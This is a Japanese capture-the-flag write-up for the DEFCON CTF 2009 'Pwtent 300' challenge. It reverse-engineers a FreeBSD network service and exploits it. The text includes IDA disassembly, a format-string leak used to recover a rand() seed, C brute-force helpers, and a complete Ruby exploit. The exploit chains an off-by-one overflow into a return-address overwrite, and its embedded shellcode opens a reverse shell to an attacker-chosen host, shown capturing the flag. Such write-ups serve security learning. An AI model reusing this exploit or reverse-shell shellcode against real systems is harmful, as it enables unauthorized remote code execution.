DEFCON CTF 2009 Pwtent 300
pwn23.ddtek.biz
http://shallweplayaga.me/pwnable/da6d6bf2e2058ec98f67bf6b0e608c79
まず何のファイルか確認
# file da6d6bf2e2058ec98f67bf6b0e608c79 da6d6bf2e2058ec98f67bf6b0e608c79: ELF 32-bit LSB executable, Intel 80386, version 1 (FreeBSD), for FreeBSD 7.2, dynamically linked (uses shared libs), FreeBSD-style, not stripped
IDAProで開く
not strippedなので読みやすい
.text:08048C80 main proc near .text:08048C80 .text:08048C80 name = dword ptr -30h .text:08048C80 var_2C = dword ptr -2Ch .text:08048C80 arg_0 = byte ptr 4 .text:08048C80 .text:08048C80 lea ecx, [esp+arg_0] .text:08048C84 and esp, 0FFFFFFF0h .text:08048C87 push dword ptr [ecx-4] .text:08048C8A push ebp .text:08048C8B mov ebp, esp .text:08048C8D push ecx .text:08048C8E sub esp, 24h .text:08048C91 movzx eax, svc_port .text:08048C98 cwde .text:08048C99 mov [esp+30h+name], eax .text:08048C9C call init .text:08048CA1 mov [ebp-8], eax .text:08048CA4 mov [esp+30h+name], "pwn300" .text:08048CAB call drop_privs_user .text:08048CB0 mov [esp+30h+var_2C], offset client_callback .text:08048CB8 mov eax, [ebp-8] .text:08048CBB mov [esp+30h+name], eax .text:08048CBE call loop .text:08048CC3 mov eax, 0 .text:08048CC8 add esp, 24h .text:08048CCB pop ecx .text:08048CCC pop ebp .text:08048CCD lea esp, [ecx-4] .text:08048CD0 retn
これはサーバプログラム
svc_portが使用するポート→0E4Fh(3663)番
initはsocketからlistenまでを実行
drop_privs_userは実行ユーザーがpwn300かどうかを判別
loopはacceptとforkを実行し、forkされるのはclient_callback関数
よって実質的なサーバとしての処理はclient_callback
client_callbackがクライアントとのやり取りを行う
ポートが分かったので実行し、試しにncで接続
$ nc 172.17.0.1 3663 Mon Mar 16 08:23:16 2009 Press enter to continue: AAAA(入力) AA (出力) BBBB(入力)
現在の時間と"Press enter to continue:"が出力される
AAAAという4バイトを入力すると最初の2バイトが出力
2度目の入力でBBBBを渡すと何も起こらず終了
client_callbackを解析
.text:08049550 client_callback proc near .text:08049550 .text:08049550 var_14 = dword ptr -14h .text:08049550 timer = dword ptr -10h .text:08049550 format = byte ptr -0Ch .text:08049550 var_A = byte ptr -0Ah .text:08049550 var_9 = byte ptr -9 .text:08049550 var_8 = dword ptr -8 .text:08049550 stream = dword ptr -4 .text:08049550 fd = dword ptr 8 .text:08049550 .text:08049550 push ebp .text:08049551 mov ebp, esp .text:08049553 sub esp, 28h .text:08049556 mov [ebp+var_8], 0 .text:0804955D lea eax, [ebp+timer] .text:08049560 mov [esp], eax .text:08049563 call _time .text:08049568 lea eax, [ebp+timer] .text:0804956B mov [esp], eax .text:0804956E call _ctime .text:08049573 mov [esp+8], eax .text:08049577 mov dword ptr [esp+4], offset aS ; "%s" .text:0804957F mov eax, [ebp+fd] .text:08049582 mov [esp], eax .text:08049585 call sendFormat .text:0804958A call get_random_int .text:0804958F mov ds:global_canary, eax .text:08049594 mov eax, ds:global_canary .text:08049599 mov [esp], eax .text:0804959C call _srand .text:080495A1 call _rand .text:080495A6 mov [ebp+var_8], eax .text:080495A9 mov dword ptr [esp+8], 0 .text:080495B1 mov dword ptr [esp+4], "Press enter to continue: \n" .text:080495B9 mov eax, [ebp+fd] .text:080495BC mov [esp], eax .text:080495BF call sendMsg .text:080495C4 mov dword ptr [esp+0Ch], 0Ah .text:080495CC mov dword ptr [esp+8], 4 .text:080495D4 lea eax, [ebp+format] .text:080495D7 mov [esp+4], eax .text:080495DB mov eax, [ebp+fd] .text:080495DE mov [esp], eax .text:080495E1 call read_until_delim .text:080495E6 test eax, eax .text:080495E8 jns short loc_8049601 .text:080495EA mov eax, [ebp+fd] .text:080495ED mov [esp], eax .text:080495F0 call _close .text:080495F5 mov [ebp+var_14], 0 .text:080495FC jmp loc_8049682
関数呼び出しの順番
time、ctime、sendFormat、get_random_int、srand、rand、sendMsg
そしてread_until_delimが呼ばれる
time、ctime、sendFormatで現在時間をクライアントへ送信
get_random_int、srand、randで乱数を生成
.text:0804958A call get_random_int .text:0804958F mov ds:global_canary, eax .text:08049594 mov eax, ds:global_canary .text:08049599 mov [esp], eax .text:0804959C call _srand .text:080495A1 call _rand .text:080495A6 mov [ebp+var_8], eax
get_random_intの戻り値をglobal_canaryに入れる
srand(global_canary)を実行後、randの戻り値をvar_8へ入れる
get_random_intは/dev/urandomから乱数を取得する関数
.text:08049390 get_random_int proc near .text:08049390 .text:08049390 buf = dword ptr -8 .text:08049390 fd = dword ptr -4 .text:08049390 .text:08049390 push ebp .text:08049391 mov ebp, esp .text:08049393 sub esp, 28h .text:08049396 mov dword ptr [esp+4], 0 .text:0804939E mov dword ptr [esp], "/dev/urandom" .text:080493A5 call _open .text:080493AA mov [ebp+fd], eax ########################################################### ################## fd = open("/dev/urandom", 0); ########################################################### .text:080493AD mov [ebp+buf], 0 .text:080493B4 cmp [ebp+fd], 0 .text:080493B8 jns short loc_80493FC ########################################################### ################## buf = 0; ################## if(fd >= 0) ################## goto loc_80493FC; ########################################################### .text:080493BA mov dword ptr [esp], 1 .text:080493C1 call _exit .text:080493C6 .text:080493C6 loc_80493C6: .text:080493C6 mov dword ptr [esp+8], 4 .text:080493CE lea eax, [ebp+buf] .text:080493D1 mov [esp+4], eax .text:080493D5 mov eax, [ebp+fd] .text:080493D8 mov [esp], eax .text:080493DB call _read ########################################################### ################## eax = read(fd, &buf, 4); ########################################################### .text:080493E0 cmp eax, 4 .text:080493E3 jz short loc_80493FC ########################################################### ################## if(eax == 4) ################## goto loc_80493FC; ########################################################### .text:080493E5 mov eax, [ebp+fd] .text:080493E8 mov [esp], eax .text:080493EB call _close .text:080493F0 mov dword ptr [esp], 1 .text:080493F7 call _exit .text:080493FC .text:080493FC loc_80493FC: .text:080493FC mov eax, [ebp+buf] .text:080493FF cmp eax, 3 .text:08049402 jbe short loc_80493C6 ########################################################### ################## if(buf <= 3) ################## goto loc_80493C6 ########################################################### .text:08049404 mov eax, [ebp+fd] .text:08049407 mov [esp], eax .text:0804940A call _close .text:0804940F mov eax, [ebp+buf] .text:08049412 shr eax, 1 .text:08049414 leave .text:08049415 retn ########################################################### ################## return (buf >> 1); ###########################################################
/dev/urandomから4バイト取得
最後に1ビット右シフトしているため乱数の範囲は0x04〜0x7FFFFFFF
global_canaryには0x04〜0x7FFFFFFFのいずれかの値が入る
var_8にはsrand(global_canary)後のrand()の戻り値が入る
global_canary = get_random_int(); // 0x04..0x7FFFFFFF srand(global_canary); var_8 = rand();
乱数を生成したら
次はsendMsgで"Press enter to continue: \n"をクライアントへ送信
そしてread_until_delimを呼び出し
.text:080495C4 mov dword ptr [esp+0Ch], 0Ah .text:080495CC mov dword ptr [esp+8], 4 .text:080495D4 lea eax, [ebp+format] .text:080495D7 mov [esp+4], eax .text:080495DB mov eax, [ebp+fd] .text:080495DE mov [esp], eax .text:080495E1 call read_until_delim ########################################################### ################## read_until_delim(fd, var_0Ch, 4, 0x0a); ########################################################### .text:080495E6 test eax, eax .text:080495E8 jns short loc_8049601
read_until_delimに渡す引数は4つ
ソケットハンドル、取得データの格納先、最大サイズ、終端文字
クライアントからのデータに対して
終端文字が見つかる or 最大サイズに達する
という条件が満たされるまでrecvする
改行(0x0a)を使わなければ
var_0Ch(format)、var_0Bh、var_0Ah、var_09h
の4バイトにデータを入れることが可能
ただしvar_0Ah、var_09hは次の処理にて0x0Aと0x00に初期化される
.text:08049601 loc_8049601: .text:08049601 mov [ebp+var_A], 0Ah .text:08049605 mov [ebp+var_9], 0
よって実質2バイトのみ有効
.text:08049609 mov dword ptr [esp+4], "r+" .text:08049611 mov eax, [ebp+fd] .text:08049614 mov [esp], eax .text:08049617 call _fdopen .text:0804961C mov [ebp+stream], eax .text:0804961F cmp [ebp+stream], 0 .text:08049623 jnz short loc_8049631 ########################################################### ################## stream = fdopen("r+"); ################## if(stream != 0) ################## goto loc_8049631; ########################################################### .text:08049625 mov dword ptr [esp], 1 .text:0804962C call _exit .text:08049631 .text:08049631 loc_8049631: .text:08049631 mov eax, [ebp+var_8] .text:08049634 mov [esp+8], eax .text:08049638 lea eax, [ebp+format] .text:0804963B mov [esp+4], eax .text:0804963F mov eax, [ebp+stream] .text:08049642 mov [esp], eax .text:08049645 call _fprintf .text:0804964A mov eax, [ebp+stream] .text:0804964D mov [esp], eax .text:08049650 call _fflush ########################################################### ################## fprintf(stream, var_0Ch, var_8); ################## fflush(stream); ########################################################### .text:08049655 mov eax, [ebp+fd] .text:08049658 mov [esp], eax .text:0804965B call handle_client ########################################################### ################## handle_client(fd); ########################################################### .text:08049660 mov eax, [ebp+stream] .text:08049663 mov [esp], eax .text:08049666 call _fclose .text:0804966B test eax, eax .text:0804966D jz short loc_804967B ########################################################### ################## if(fclose(stream) == 0) ################## goto loc_804967B; ########################################################### .text:0804966F mov dword ptr [esp], 1 .text:08049676 call _exit .text:0804967B .text:0804967B loc_804967B: .text:0804967B mov [ebp+var_14], 0 .text:08049682 .text:08049682 loc_8049682: .text:08049682 mov eax, [ebp+var_14] .text:08049685 leave .text:08049686 retn
fprintf関数に渡される2番目の引数はvar_0Ch、3番目はvar_8
var_0Chはクライアントからの入力値、var_8はrand()の戻り値
つまり"%x"を入れるとrandの戻り値が表示される
$ nc 172.17.0.100 3663 Mon Mar 16 08:51:42 2009 Press enter to continue: %x 381c930a
randの戻り値からブルートフォースでglobal_canaryが取得できる
$ cat rand.c #include <stdio.h> int main(void) { unsigned int i; for(i=4; i <= 0x7FFFFFFF; i++){ srand(i); if(0x381C930A == rand()){ printf("global_canary = %x\n", i); break; } } return 0; } $ gcc rand.c -o rand $ time ./rand global_canary = 1251cbd3 5.48 real 5.44 user 0.00 sys
5秒程度でglobal_canaryを算出できた
次はhandle_client関数を見ていく
.text:08049420 handle_client proc near .text:08049420 .text:08049420 buff = dword ptr -70h .text:08049420 var_6C = byte ptr -6Ch .text:08049420 var_6B = byte ptr -6Bh .text:08049420 var_4 = dword ptr -4 .text:08049420 fd = dword ptr 8 .text:08049420 .text:08049420 push ebp .text:08049421 mov ebp, esp .text:08049423 sub esp, 88h .text:08049429 mov [ebp+var_6C], 64h .text:0804942D mov [ebp+var_4], 30A0E82h .text:08049434 mov eax, [ebp+var_4] .text:08049437 xor eax, 804E7FFh .text:0804943C mov [ebp+var_4], eax ########################################################### ################## var_6Ch = 100; ################## var_4 = 0x30A0E82 ^ 0x804E7FF; ########################################################### .text:0804943F mov eax, ds:global_canary .text:08049444 mov [ebp+buff], eax .text:08049447 mov dword ptr [esp+8], 64h .text:0804944F mov dword ptr [esp+4], 0 .text:08049457 lea eax, [ebp+buff] .text:0804945A add eax, 5 .text:0804945D mov [esp], eax .text:08049460 call _memset ########################################################### ################## var_70h = global_canary; ################## eax = var_6Bh(&var_70h+5); ################## memset(eax, 0, 100); ########################################################### .text:08049465 mov edi, eax .text:08049467 jmp short loc_8049485 .text:08049469 .text:08049469 loc_8049469: .text:08049469 movzx eax, [ebp+var_6C] .text:0804946D sub eax, 1 .text:08049470 mov [ebp+var_6C], al .text:08049473 movzx eax, [ebp+var_6C] .text:08049477 movsx edx, al .text:0804947A movzx eax, ds:single_char .text:08049481 mov [ebp+edx+var_6B], al .text:08049485 .text:08049485 loc_8049485: .text:08049485 mov eax, [ebp+fd] .text:08049488 mov [esp], eax .text:0804948B call get_char .text:08049490 mov ds:single_char, al .text:08049495 movzx eax, ds:single_char .text:0804949C cmp al, 0Ah .text:0804949E jz short loc_80494A8 .text:080494A0 movzx eax, [ebp+var_6C] .text:080494A4 test al, al .text:080494A6 jns short loc_8049469 ########################################################### ################## goto loc_8049485; ################## while(1){ ################## var_6Ch--; ################## *(var_6Ch + &var_6B) = single_char; ################## loc_8049485: ################## single_char = get_char(fd); ################## if(single_char == 0x0A) ################## break; ################## if(var_6Ch < 0) ################## break; ################## } ########################################################### .text:080494A8 .text:080494A8 loc_80494A8: .text:080494A8 mov eax, [ebp+buff] .text:080494AB mov [esp], eax .text:080494AE call _srand .text:080494B3 call _rand .text:080494B8 mov ds:rand1, eax .text:080494BD mov eax, [ebp+var_4] .text:080494C0 mov [esp], eax .text:080494C3 call _srand .text:080494C8 call _rand .text:080494CD mov ds:rand2, eax ########################################################### ################## srand(var_70h); rand1 = rand(); ################## srand(var_4); rand2 = rand(); ########################################################### .text:080494D2 mov edx, ds:rand1 .text:080494D8 mov eax, ds:rand2 .text:080494DD cmp edx, eax .text:080494DF jnz short loc_80494EB ########################################################### ################## if(rand1 != rand2) ################## goto loc_80494EB; // exit(2) ########################################################### .text:080494E1 mov edx, [ebp+buff] .text:080494E4 mov eax, [ebp+var_4] .text:080494E7 cmp edx, eax .text:080494E9 jnz short locret_80494F7 ########################################################### ################## if(var_70h != var_4) ################## goto locret_80494F7; // return ########################################################### .text:080494EB .text:080494EB loc_80494EB: .text:080494EB mov dword ptr [esp], 2 .text:080494F2 call _exit .text:080494F7 .text:080494F7 locret_80494F7: .text:080494F7 leave .text:080494F8 retn
まずoff by oneの脆弱性がひとつある
goto loc_8049485; while(1){ var_6Ch--; *(var_6Ch + &var_6B) = single_char; loc_8049485: single_char = get_char(fd); if(single_char == 0x0A) break; if(var_6Ch < 0) break; }
var_6Chは初期値0x64であるため、
1回目のループ時:var_8(0x63 + &var_6Bh) = single_char
2回目のループ時:var_9(0x62 + &var_6Bh) = single_char
3回目のループ時:var_Ah(0x61 + &var_6Bh) = single_char
....
0x63回目のループ時:var_6Ah(0x1 + &var_6Bh) = single_char
0x64回目のループ時:var_6Bh(0x0 + &var_6Bh) = single_char
この時点ですでに0x64バイト分終了(var_6Chは0x0である)
ここでloc_8049485以降を処理すると
var_6Chはまだ0であるためif(var_6Ch < 0)を満たさない
つまりbreakせず、再びwhileの先頭へ戻る
0x65回目のループ時:var_6Ch(-1 + &var_6Bh) = single_char
1バイトのオーバーフローによりvar_6Chが書き換え可能
このvar_6Chはchar型の最大値0x7Fまで設定可能
つまり(0x7F + &var_6Bh)まで書き換えできる
-0000000000000070 buff dd ? -000000000000006C var_6C db ? -000000000000006B var_6B db ? ; (0x0 + &var_6Bh) -000000000000006A db ? ; (0x1 + &var_6Bh) (省略) -0000000000000008 db ? ; (0x63 + &var_6Bh) -0000000000000007 db ? ; (0x64 + &var_6Bh) -0000000000000006 db ? ; (0x65 + &var_6Bh) -0000000000000005 db ? ; (0x66 + &var_6Bh) -0000000000000004 var_4 dd ? ; (0x67 + &var_6Bh) +0000000000000000 s db 4 ; (0x6B-0x6F + &var_6Bh) +0000000000000004 r db 4 ; (0x6F-0x73 + &var_6Bh) +0000000000000008 fd dd ?
0x7F範囲内(0x6F-0x73)に関数のretアドレスがある
off by oneによりret書き換え可能、任意のshellcodeへ飛ばせる
srand(var_70h); // var_70h = global_canary rand1 = rand(); srand(var_4); // var_4 = 0x30A0E82 ^ 0x804E7FF rand2 = rand(); if(rand1 != rand2) exit(2); if(var_70h == var_4) exit(2);
exitを呼び出されたらretを書き換えても意味がない
正常に関数を終わらせるためには2つの条件をクリアする必要がある
1、rand1とrand2は同じにしなければならない
var_4は 0x30A0E82 ^ 0x804E7FF の固定値だが、
0x7F範囲内であるため書き換え可能
global_canaryは%xで取得したrand値からブルートフォースで取得可
2、global_canaryとvar_4は異ならなければならない
FreeBSDにおいては、乱数生成器の関係上、
srandに渡す種の差が0x7FFFFFFFあれば同じrand値を返す
$ cat rand2.c #include <stdio.h> int main(void) { srand(0xFFFFFFF0); printf("%08x = ", rand()); srand(0x7FFFFFF1); printf("%08x\n", rand()); return 0; } $ gcc rand2.c -o rand2 $ ./rand2 7ffc68dd = 7ffc68dd
以上のことから以下のアタックフローを作成できる
(1)1度目の入力時に"%x"を入力しglobal_canaryのrand値を取得
(2)(1)のrand値からブルートフォースによりglobal_canaryを取得
(3)2度目の入力時に0x65バイトを送り、最後の1バイトを0x73にする
(4)off by oneにより再入力が発生
(5)var_4をglobal_canary + 0x7FFFFFFFの値に変更
(6)NOP + shellcode + var_4 + retを0x73の範囲に書き込み
(7)関数から抜けretに戻る際にshellcodeが実行される
まず、global_canaryを取得するプログラムをCで作成
$ cat get_global_canary.c #include <stdio.h> #include <stdlib.h> int main(int argc, char *argv[]) { unsigned long i, n; if(argc < 2) return 1; n = strtoul(argv[1], NULL, 16); for(i=4; i <= 0x7FFFFFFF; i++){ srand(i); if(n == rand()){ printf("%x\n", (unsigned int)i); break; } } return 0; } $ gcc -Wall get_global_canary.c -o get_global_canary
続いてexploit本体(Rubyで作成)
$ cat exp.rb #!/usr/bin/ruby require "socket" begin sock = TCPSocket.open(ARGV[0], 3663) rescue puts "TCPSocket.open failed: #$!\n" else print "RECV: " + sock.gets print "RECV: " + sock.gets ## send "%x" + LF f2byte = "%x\n" sock.write f2byte print "SEND: " + f2byte ## recv rand1 rand1str = sock.gets rand1str.chomp! print "RECV: " + rand1str + "\n" rand1 = rand1str.hex ## calc global_canary global_canary_str = "" IO.popen("./get_global_canary 0x" + rand1str, "r+") do |io| global_canary_str = io.gets global_canary_str.chomp! end global_canary = global_canary_str.hex ## get val_4 val_4 = global_canary + 0x7fffffff val_4_str = val_4.to_s(16) print "STAT: global_canary = " + global_canary_str + "\n" print "STAT: val_4 = " + val_4_str + "\n" ## send 0x65 bytes for i in 1..100 sock.write "A" end sock.write "s" ## 0x73 print "SEND: A*64 + 0x73\n" ## send 0x73 bytes ## <LF 1b><NOP 32b><shell 70b><var_4><ebp><ret> addr = ARGV[1].split(".").collect{|c| c.to_i}.pack("C4") port = [ARGV[2].to_i].pack("n") ## LF 1byte shell = "\x0a" ## NOP 32byte for i in 1..32 shell += "\x90" end ## shell 70byte shell += "\x03\xe5" ## add esp,ebp shell += "\x6a\x61\x58\x99\x52\x42\x52\x42" shell += "\x52\x68" + addr + "\xcd\x80" shell += "\x68\x10\x02"+port+"\x89\xe1\x6a" shell += "\x10\x51\x50\x51\x97\x6a\x62\x58" shell += "\xcd\x80\x6a\x02\x59\xb0\x5a\x51" shell += "\x57\x51\xcd\x80\x49\x79\xf6\x50" shell += "\x68\x2f\x2f\x73\x68\x68\x2f\x62" shell += "\x69\x6e\x89\xe3\x50\x54\x53\x53" shell += "\xb0\x3b\xcd\x80" ## var_4 + ebp + ret shell += [val_4].pack("L") ## val_4 shell += "\x00\x10\x00\x00" ## ebp shell += [ARGV[3].hex].pack("L") ## ret sock.write shell.unpack("C*").reverse.collect{|c| c.to_i}.pack("C*") print "SEND: <LF 1b><NOP 32b><shell 70b><var_4><ebp><ret>\n" sock.close() end
172.17.0.100で問題ファイルを実行
reverse shellを使うため適当なマシンを用意してポート待ち受け
// Ubuntu Linux (172.17.11.226) $ nc -lvp 7777 listening on [any] 7777 ...
続いてexploitを実行
引数は<ターゲットIP> <接続先IP> <接続先ポート>
$ ruby exp.rb 172.17.0.100 172.17.11.226 7777 bfbfebde RECV: Tue Apr 20 01:20:59 2010 RECV: Press enter to continue: SEND: %x RECV: 16ff2ac1 (数秒ウェイト) STAT: global_canary = 4f080308 STAT: val_4 = cf080307 SEND: A*64 + 0x73 SEND: <LF 1b><NOP 32b><shell 70b><var_4><ebp><ret>
shellcodeがうまく実行されれば
172.17.0.100から172.17.11.226:7777へconnectが行く
// Ubuntu Linux (172.17.11.226) $ nc -lvp 7777 listening on [any] 7777 ... 172.17.0.100: inverse host lookup failed: Unknown host connect to [172.17.11.226] from (UNKNOWN) [172.17.0.100] 49180 ls(入力) da6d6bf2e2058ec98f67bf6b0e608c79 KEY cat KEY $Hey: @tlas has this hours ago$
shell取得完了
KEYファイルの中にパスワードがある
"$Hey: @tlas has this hours ago$"が答え